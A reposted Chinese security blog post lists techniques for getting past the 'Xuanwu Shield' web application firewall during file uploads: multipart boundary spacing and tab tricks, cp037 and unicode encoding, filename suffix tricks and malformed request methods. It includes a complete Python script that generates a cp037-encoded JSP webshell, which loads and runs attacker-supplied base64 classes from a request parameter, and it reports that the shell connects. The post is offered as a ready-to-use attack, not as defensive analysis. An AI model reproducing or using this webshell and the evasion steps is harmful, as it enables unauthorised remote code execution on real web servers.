玄武盾的几种绕过姿势
2022-8-17 00:3:13 Author: web安全工具库(查看原文) 阅读量:45 收藏

文件名绕过

boundary等号前后空格绕过

Content-Type: multipart/form-data;
boundary = ----WebKitFormBoundaryMJPuN1aHyzfAO2m3

boundary等号前后ascii码09绕过

Cp037编码绕过

文件名后加/绕过

畸形请求方法

文件内容绕过

unicode编码

cp037编码(脚本内置马支持后缀jsp/jspx,都可解析)

编码脚本

#python2data = '''<?xml version="1.0" encoding="cp037"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">  <jsp:declaration>    class PERFORM extends ClassLoader {      PERFORM(ClassLoader c) { super(c);}      public Class bookkeeping(byte[] b) {        return super.defineClass(b, 0, b.length);      }    }    public byte[] branch(String str) throws Exception {      Class base64;      byte[] value = null;      try {        base64=Class.forName("sun.misc.BASE64Decoder");        Object decoder = base64.newInstance();        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });      } catch (Exception e) {        try {          base64=Class.forName("java.util.Base64");          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });        } catch (Exception ee) {}      }      return value;    }  </jsp:declaration>  <jsp:scriptlet>    String cls = request.getParameter("xxoo");    if (cls != null) {      new PERFORM(this.getClass().getClassLoader()).bookkeeping(branch(cls)).newInstance().equals(new Object[]{request,response});    }  </jsp:scriptlet></jsp:root>'''fcp037 = open('cp037.jsp','wb')![](https://xzfile.aliyuncs.com/media/upload/picture/20220804173607-de2cfbb4-13d8-1.png)fcp037.write(data.encode('cp037'))

生成出来,burp选择paste from file

可以正常连接

点击收藏 0关注 | 1

推荐书籍

加我微信:ivu123ivu,进送书活动群,不定时免费送书

《深入浅出TCP/IP和VPN》

TCP/IP (Transmission Control Protocol/Internet Protocol的简写),传输控制协议/因特网互联协议,又名网络通讯协议,是Internet最基本的协议、Internet国际互联网络的基础,由网络层的IP协议和传输层的TCP协议组成。本书是一本图文并茂的网络技术书籍,旨在让读者理解TCP/IP的基本知识和原理,掌握TCP/IP的基本技术及应用。

该内容转载自网络,更多内容请点击“阅读原文”


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247503718&idx=1&sn=25a72d3dbb787ed64e5d69a817516870&chksm=ebb52065dcc2a973d11a90f6968dc07f69920fedab4d9186d694758b1d145f87b5ca10e8533a#rd
如有侵权请联系:admin#unsafe.sh